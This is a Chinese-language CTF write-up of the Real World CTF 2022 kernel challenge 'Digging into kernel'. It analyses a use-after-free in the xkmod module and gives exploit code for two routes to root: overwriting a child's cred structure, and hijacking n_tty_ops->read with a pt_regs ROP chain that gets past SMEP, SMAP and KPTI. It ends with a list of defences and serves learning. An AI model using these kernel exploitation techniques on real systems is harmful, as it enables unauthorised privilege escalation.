对 Real World CTF 2022 高校赛 Digging into kernel 的重新思考
字数 2014 2025-08-29 08:31:54
Real World CTF 2022 高校赛 Digging into kernel 漏洞分析与利用
0x00 题目概述
这道题目来自Real World CTF 2022高校赛,是一个内核模块漏洞利用题目。题目提供了一个存在漏洞的内核模块xkmod.ko,攻击者需要通过该模块的漏洞实现提权。
0x01 环境配置
启动脚本如下:
qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.cpio \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet kalsr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic
保护机制:
- 开启了SMEP和SMAP
- 默认开启KASLR(虽然启动参数中写成了kalsr)
- 开启了KPTI(内核页表隔离)
0x02 漏洞分析
内核模块功能
模块加载时会创建一个名为"lalala"的kmem_cache,object大小为192字节:
kmem_cache_create("lalala", 192, 0, 0, 0);
模块提供了以下功能:
- 分配object
- 编辑object内容
- 读取object内容
使用结构体进行通信:
struct Data {
size_t *ptr;
unsigned int offset;
unsigned int length;
};
主要漏洞
- UAF漏洞:关闭设备文件时会释放buf指针,但没有将其置NULL,可以通过同时打开多个设备文件来利用这个UAF漏洞。
- 竞争条件:ioctl中的所有操作都没有上锁,可能导致竞争条件。
0x03 漏洞利用方法
解法一:修改子进程cred结构体
原理:
- 由于kmem_cache没有设置特殊flag,会与系统中其他192字节的kmem_cache合并
- 进程的cred结构体也使用相同大小的kmem_cache
- 通过UAF可以修改子进程的cred结构体实现提权
利用步骤:
- 打开两个设备文件
- 分配一个object
- 关闭其中一个设备文件释放object但不置NULL
- fork创建子进程
- 通过另一个设备文件读取并修改子进程的cred
EXP关键代码:
int dev_fd[2];
for(int i=0; i<2; i++)
dev_fd[i] = open("/dev/xkmod", O_RDONLY);
alloc(dev_fd[0]);
close(dev_fd[0]);
int pid = fork();
if(!pid) {
get(dev_fd[1], &data);
if(((int *)(data.ptr))[3] == 1000) {
for(int i=0; i<10; i++)
data.ptr[i] = 0;
edit(dev_fd[1], &data);
if(!getuid()) {
system("/bin/sh");
}
}
}
解法二:劫持n_tty_ops->read实现ROP
原理:
- 利用UAF实现任意地址读写
- 劫持n_tty_ops函数表中的read指针
- 通过read系统调用触发ROP链
- 利用pt_regs结构体布置ROP链
详细利用步骤:
Step 1: 实现内核任意地址读写
- 释放一个object后读取其内容,获取freelist指针
- 修改freelist指针指向目标地址-0x10(前面需要有8字节0)
- 连续分配两次,第二次分配将得到目标地址的object
Step 2: 泄露内核基址
- 通过freelist指针计算page_offset_base
- 在page_offset_base + 0x9d000处读取secondary_startup_64地址泄露内核基址
Step 3: 劫持n_tty_ops->read
- 找到n_tty_ops结构体地址(通过搜索函数指针)
- 修改read指针为ROP gadget地址(如add rsp, 0xc8; ret)
Step 4: 布置ROP链
利用pt_regs结构体布置ROP链:
- r15: pop rdi; ret
- r14: 0
- r13: prepare_kernel_cred地址
- r12: xchg rax, rdi; ret
- rbp: commit_creds地址
- rbx: swapgs_restore_regs_and_return_to_usermode地址
Step 5: 触发ROP
通过read系统调用触发n_tty_ops->read,执行ROP链
Step 6: 修复n_tty_ops
提权后将n_tty_ops->read恢复为原值,保证shell稳定
关键ROP代码:
__asm__(
"mov r15, pop_rdi_ret;"
"xor r14, r14;"
"mov r13, prepare_kernel_cred;"
"mov r12, xchg_rax_rdi_ret;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 0x8;"
"mov rsi, rsp;"
"xor rdi, rdi;"
"syscall"
);
0x04 关键知识点
-
kmem_cache机制:
- 相同大小且没有特殊flag的kmem_cache会合并
- cred结构体通常使用通用kmem_cache
-
n_tty_ops劫持:
- tty子系统核心结构体
- read系统调用会调用n_tty_ops->read
- 劫持后可以实现稳定触发
-
pt_regs利用:
- 系统调用时所有寄存器会被保存到内核栈
- 通过寄存器布置ROP链
- 使用栈迁移gadget跳转到ROP链
-
KPTI绕过:
- 使用swapgs_restore_regs_and_return_to_usermode返回用户态
- 该函数会完成KPTI相关的页表切换
0x05 防御措施
- 设置kmem_cache的flag防止合并
- 对全局指针添加引用计数
- 使用锁保护共享资源
- 开启CONFIG_SLAB_FREELIST_HARDENED保护
- 开启CONFIG_SLAB_FREELIST_RANDOM保护
0x06 总结
这道题目展示了内核漏洞利用的多种技术:
- 通过UAF实现任意地址读写
- 利用内核对象缓存合并特性修改敏感结构体
- 劫持全局函数表控制执行流
- 利用pt_regs结构体布置ROP链
- 绕过SMEP/SMAP/KPTI等保护机制
两种解法各有特点,第一种简单直接,第二种更加通用,适用于更严格的防护环境。